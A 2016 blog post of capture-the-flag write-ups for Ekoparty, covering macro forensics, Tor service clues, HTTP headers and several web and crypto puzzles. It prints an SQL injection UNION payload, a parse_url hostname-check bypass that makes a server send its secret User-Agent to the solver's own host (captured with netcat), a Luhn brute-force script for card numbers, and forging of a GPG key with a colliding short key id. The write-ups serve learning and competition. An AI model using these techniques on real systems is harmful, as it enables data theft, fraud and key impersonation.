Ekoparty CTF 2016 writeups
This year I've teamed up with my two colleagues Denis and Moritz from the @enoflag team. Together we solved some challenges for fun and profit and scored the 31th place. I'd like to share my solutions to the following challenges:
And maybe some ideas for web 300, misc 300, fbi 100. Some other challenges were solved by my colleagues before I had the chance, so I'm not going to write about those.
I also found the FBI category to be a refreshing idea.
Forensics 50
After downloading and extracting the zip archive we see a CALCULATOR.xlsm
file. Libreoffice warns us that it might contain malicious macros. Looking at them reveals some VBA code that seems to calculate the flag:
[...]
For cell_counter = 1 To 16777216
answer = calc_answer(answer)
Next cell_counter
Hoja1.NOT_ANSWER.Text = "EKO{" + Replace(answer, "=", "") + "}"
[...]
Some variables have been renamed
The macro seems to calculate the flag based on the values of some 16 million cells, but the first sheet only had a big Calculate-button. Trying to modify a cell resulted in a Can't modify protected cells
error. The next logical step was to remove this protection by un-ticking Tools->[ ] Protect Sheet
.
After that I right-clicked the first FORM-sheet and chose Show sheets
and selected the ANSWER sheet.
This revealed a quite big sheet with huge cells.
This looked like the beginning of a flag and scrolling horizontally revealed all characters one by one.
Fbi 25
This one was so easy that I overlooked it at first. After connecting to the https://silkroadzpvwzxxv.onion
onion service, a quick look into the site's sourcecode was enough to the get the flag.
Fbi 50
Tor services don't usually have to have a SSL certificate so this additional security measure stood out and one had to acccept the self-signed certificate. The Organizational Uni-field contained the flag:
Misc 50
The task's description mentions a hidden flag in the EKO pixels
. I went ahead and downloaded the cool looking background image and found the flag in the top left-hand corner.
Web 50
This time the description told us to get basic information about the ctf.ekoparty.org
server. My guess was to have a look at the HTTP response headers:
$> curl -L -I ctf.ekoparty.org
HTTP/1.1 301 Moved Permanently
Server: EKO{this_is_my_great_server}
Date: Thu, 27 Oct 2016 11:49:01 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://ctf.ekoparty.org/
HTTP/1.1 200 OK
Server: EKO{this_is_my_great_server}
Date: Thu, 27 Oct 2016 11:49:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4518
Connection: keep-alive
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=63072000; preload
The Server-header contains the flag.
Web 100
The POST parameter username
was vulnerable to an SQL injection:
username='+and+1=2+union+select+1,2+#
However, looking into all tables didn't seem to reveal a flag. The mysql user also didn't have the file_priv
flag for file operations. After hours of looking at useless tables, the hint there is more than tables and columns in a DB
and the <i>flag</i>
on the website lead Denis to have the winning idea of trying the @flag
variable.
The final query looked like this:
Web 150
The Carder web challenge was all about credit card numbers. A small API gave both the prefixes and suffixes of an Amex, Visa and Mastercard account number. The challenge here was to calculate the missing (random) numbers in between to make it a valid card number:
{"pmcard":"5508","smcard":"5487","pvisa":"4716","svisa":"8854","pamex":"3475","samex":"6179"}
Most of this kind of account numbers have a checksum to detect typing errors and such. Usually this is the last digit and googling for credit card checksum
lead to the Luhn algorithm on Wikipedia. The math is explained in detail, but all in all it's just the sum of all n-1 digits modulo 10.
I didn't really want to 'reverse' the math, so I chose the most dumb approach of brute forcing. All card types have different lengths. Luckily the website was kind enough of limiting the input fields' length. The resulting python code is more than ugly, but does it job:
#!/usr/bin/python2
import requests
#https://code.activestate.com/recipes/172845-python-luhn-checksum-for-credit-card-validation/
def cardLuhnChecksumIsValid(card_number):
""" checks to make sure that the card passes a luhn mod-10 checksum """
sum = 0
num_digits = len(card_number)
oddeven = num_digits & 1
for count in range(0, num_digits):
digit = int(card_number[count])
if not (( count & 1 ) ^ oddeven ):
digit = digit * 2
if digit > 9:
digit = digit - 9
sum = sum + digit
return ( (sum % 10) == 0 )
data = requests.post("http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/api.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Referer": "http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/", "Content-Length": "18", "Cookie": "ekocard3r=sVkT-ozU9pYbHcTR8I1CP9GVOu8", "Connection": "close", "X-dotNet-Beautifier": "11; DO-NOT-REMOVE"}, data="{\"action\":\"start\"}")
jdata = data.json()
def get_missing_number_visa(prefix, suffix):
for i in range(10):
for j in range(10):
for q in range(10):
for w in range(10):
for v in range(10):
our_num = str(i) + str(j) + str(q) + str(w) + str(v)
if cardLuhnChecksumIsValid(prefix + our_num + suffix):
print "FOUND", prefix + our_num + suffix
return our_num
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
def get_missing_number_amex(prefix, suffix):
for i in range(10):
for j in range(10):
for q in range(10):
for w in range(10):
for v in range(10):
for y in range(10):
for o in range(10):
our_num = str(i) + str(j) + str(q) + str(w) + str(v) + str(y) + str(o)
if cardLuhnChecksumIsValid(prefix + our_num + suffix):
print "FOUND", prefix + our_num + suffix
return our_num
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
def get_missing_number_mcard(prefix, suffix):
for i in range(10):
for j in range(10):
for q in range(10):
for w in range(10):
for v in range(10):
for y in range(10):
for o in range(10):
for u in range(10):
our_num = str(i) + str(j) + str(q) + str(w) + str(v) + str(y) + str(o) + str(u)
if cardLuhnChecksumIsValid(prefix + our_num + suffix):
print "FOUND", prefix + our_num + suffix
return our_num
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
else:
continue
break
def solve_amex(prefix, suffix):
num = get_missing_number_amex(prefix, suffix)
print num
return num
def solve_visa(prefix, suffix):
num = get_missing_number_visa(prefix, suffix)
print num
return num
def solve_mcard(prefix, suffix):
num = get_missing_number_mcard(prefix, suffix)
print num
return num
amex = solve_amex(jdata['pamex'], jdata['samex'])
visa = solve_visa(jdata['pvisa'], jdata['svisa'])
mcard = solve_mcard(jdata['pmcard'], jdata['smcard'])
resp = requests.post("http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/api.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/", "Cookie": "ekocard3r=sVkT-ozU9pYbHcTR8I1CP9GVOu8", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "37", "X-dotNet-Beautifier": "12; DO-NOT-REMOVE"}, data = "{\"nvisa\":\""+str(visa)+"\",\"nmcard\":\""+str(mcard)+"\",\"namex\":\""+str(amex)+"\",\"action\":\"validate\"}")
print resp.json()
It looks like a huge amount of numbers to brute-force, but in reality it was quite fast, because the checksum changes with every changed digit. So technically setting all missing digits to 1
or 2
and then just iterating through all 10 possibilities of a single digit might had been enough.
This returned the flag, but unfortunately I don't have the output anymore and the services are already down.
Web 200
I've spent most of my time on this challenge and it nearly drove me nuts, but I finally managed to find the correct bypass.
Addition: It also drove Denis nuts :)
Basically the service was an URL shortener (Sourcecode) which did not really work. The two important things were that it first checked the hostname of the entered URL using parse_url()
and then passed the URL to escapeshellarg()
before executing wget
.
$url = isset($_POST['url']) ? $_POST['url'] : "";
[...]
if (isset($pu["host"]) && isset($pu["scheme"])) {
if ($pu["host"] === "ctf.ekoparty.org" && ($pu["scheme"] === "http"||$pu["scheme"] === "https")) {
[...]
require(".htflag.php");
$url = escapeshellarg($url);
$flag = escapeshellarg($flag);
exec("wget -qO- --user-agent $flag $url", $output);
The hint tells us what to do: You will need to bypass the check for the hostname and send the request somewhere else!
I started out to fiddle around with parse_url()
and escapshellarg()
:
php > $url= 'https://ctf.ekoparty.org/'; print_r(parse_url($url)); print_r(escapeshellarg($url));
Array
(
[scheme] => https
[host] => ctf.ekoparty.org
[path] => /
)
'https://ctf.ekoparty.org/'
PHP has a nice interactive mode when executed as $> php -a
.
My idea was to somehow use ctf.ekoparty.org
as a prefix for one of my domains. Ironically the parse_url() documentation says
This function is not meant to validate the given URL, it only breaks it up into the above listed parts. Partial URLs are also accepted, parse_url() tries its best to parse them correctly.
After hours of fuzzing around and googling for known bugs and exploits I came across this bugreport. In essence parse_url() confuses the user
and host
part:
php > $url= 'http://example.com:80?@google.com/'; print_r(parse_url($url)); print_r(escapeshellarg($url));
Array
(
[scheme] => http
[host] => google.com
[user] => example.com
[pass] => 80?
[path] => /
)
'http://example.com:80?@google.com/'
parse_url
thinks that google.com
is the host, but wget will connect to example.com
:
$> wget -qO- 'http://example.com:80?@google.com/'
--2016-10-28 23:21:46-- http://example.com/?@google.com/
Auflösen des Hostnamens »example.com (example.com)« … 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946
[...]
<!doctype html>
<html>
<head>
<title>Example Domain</title>
So the final solution was to submit a string looking similar to this http://YOUR-DOMAIN.TLD?@ctf.ekoparty.org/
and receive the flag:
$> nc -l -p 8081
GET /?@ctf.ekoparty.org/ HTTP/1.1
User-Agent: EKO{follow_the_rfc_rabbit}
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
That were all challenges which I managed to solve within my limited time frame.
Now I'd like to describe some approaches to other challenges which I didn't manage to finish.
Fbi 100
The task was to somehow find our the IP address of the SSH server running on ssh ekosshlons2uweke.onion
.
My first idea was to use the ProxyCommand
to let the Tor SSH server open a connection to one of my SSH servers, but that's impossible without credentials.
Another idea was to use the fingerprint c1:aa:9a:bb:e3:68:f5:9d:e2:ff:ee:84:6c:ca:25:96
to identify a SSH server in the clearnet with the same fingerprint. There is also a reddit thread about this method, but neither Shodan.io nor Censys.io know about this specific SSH fingerprint. I also didn't want to fire up massscan and build my own fingerprint database of the whole IP-space.
I'm curious about the correct method.
UPDATE: The trick was to get all fingerprints (e.g. RSA / ECDSA) and then look them up on Shodan. So I didn't find the other fingerprint. Thanks to dragonsector for their writeup.
Misc 300
This was another challenge which drove me nuts and I finally surrendered. The task was to create a fake Satoshi gpg key and sign a file with it:
Type bits/keyID Date User ID
pub 1024R/5EB7CB21 2008-10-30 Fake Satoshi EKOPARTY12 (LEGOFAN) <satoshin@gmx.com>
Moritz pointed me to evil32.com and Scallion. Evil32 does a good job on explaining why short 32bit key ids are bad and scallion is a tool to generate such duplicate keys.
I didn't have a OpenCL system at hand, so I used the powers of AWS and rented a g2.2 GPU instance. Scallion runs with the .Net emulator mono:
$> mono scallion.exe -k 1024 --gpg -o keys.txt -c --timestamp 1225324800 "5EB7CB21\$"
At around 480 MH/s it only took a couple of seconds to find a GPG key whose 32 bit key id is 5EB7CB21
:
<XmlMatchOutput>
<GeneratedDate>2016-10-28T13:56:46.84279Z</GeneratedDate>
<Hash>67179ef99c810d47034e029bc9b7e3865eb7cb21</Hash>
<PrivateKey>-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: Scallion
lQHZBEkI+QABBADSSXw0qK8nJn0OV85YRnM+Ue6uWOIzzHFvvINdkvGt/jUHN7Tg+4OAAHLJDk4Q9S
o9r6jn05ysrHqjIomkkKrOoTHPGnZU+4A3w+dvmjA1UsA3UjQE+1nNQRdj3Ux14bXmFSbZlQ7iezQV
5LOC3E9ugxh/uCcU8r0Rm+jN9vEsiQAg3uMQLwAD/R+yYGCl6cIaHkFrWbt0xJiWmvWD7MPlw038C5
wCwKNu7cRXDlf3ie2nPat0sBlv8QMUEmfzmZuasGbQ+hgsDGd1SWs7x1kIRi86oLpjpPZ2vxjtXuAR
W4i3EDBYNf/Sr32C4clFSYPfQsuw8WDSNa9mLjlo6joeTBUM75Ir7IVDAgD6TNX8oYLPa2qH+gsLSc
6gL0V1/rA2qy1FWdLJeqjf9o1aI7ZbJnd/bCCA4Lo1l+KcTLFqgbRPRxMN9lwL5dqlAgDXE2L92EC6
IG3eUC5Yhl/wlqvAXvg8/NOpXhW0GxNxMh9wIfIaiv42oZVoXe1xJbxVL1ZcM9VaXXNkANz+sbkVAf
4lzUdxomtEE3q9vdmCK2qn29hHyn376Awz2FDvkq3OcwNZyiW2FrIZT3JsItBLsZP1LXN7ayTZltdm
U1E2jMOOomy0GVNjYWxsaW9uIFVJRCAocmVwbGFjZSBtZSk======
-----END PGP PRIVATE KEY BLOCK-----
</PrivateKey>
<PublicModulusBytes>0kl8NKivJyZ9DlfOWEZzPlHurljiM8xxb7yDXZLxrf41Bze04PuDgAByyQ5OEPUqPa+o59OcrKx6oyKJpJCqzqExzxp2VPuAN8Pnb5owNVLAN1I0BPtZzUEXY91MdeG15hUm2ZUO4ns0FeSzgtxPboMYf7gnFPK9EZvozfbxLIk=</PublicModulusBytes>
<PublicExponentBytes>3uMQLw==</PublicExponentBytes>
</XmlMatchOutput>
GPG also confirms that the key id matches:
$> gpg --list-packets priv-key.txt
# off=0 ctb=95 tag=5 hlen=3 plen=473
:secret key packet:
version 4, algo 1, created 1225324800, expires 0
pkey[0]: [1024 bits]
pkey[1]: [32 bits]
skey[2]: [1022 bits]
skey[3]: [512 bits]
skey[4]: [512 bits]
skey[5]: [512 bits]
checksum: a1ba
keyid: CBF5A40B5EB7CB21
# off=476 ctb=b4 tag=13 hlen=2 plen=25
:user ID packet: "Scallion UID (replace me)"
I thought I had done the hardest part of this challenge, but I later realized that this was not the case. The keys had to be imported with
$> gpg2 --allow-non-selfsigned-uid --import priv-key.txt
because otherwise GPG would complain about a missing UID. This was the point where the problems started. GPG would list the key:
$> gpg2 --list-keys
----------------------------------------------------------------------
pub rsa1024 2008-10-30 [SCEA]
67179EF99C810D47034E029BC9B7E3865EB7CB21
uid [ unbekannt ] Scallion UID (replace me)
but refuse to do anything with it:
$> gpg2 --sign 5EB7CB21
gpg: no default secret key: Unbrauchbarer geheimer Schlüssel
gpg: signing failed: Unbrauchbarer geheimer Schlüssel
No usable secret key
I also didn't really find a solution for this on the internet.
UPDATE:
Someone reached out to me and it really looks like my GPG client could not handle the key. Otherwise my methodology was correct... Here's a more complete writeup.
I'm really looking forward to other writeups and want to thank @Ekoparty for this cool CTF.
-=-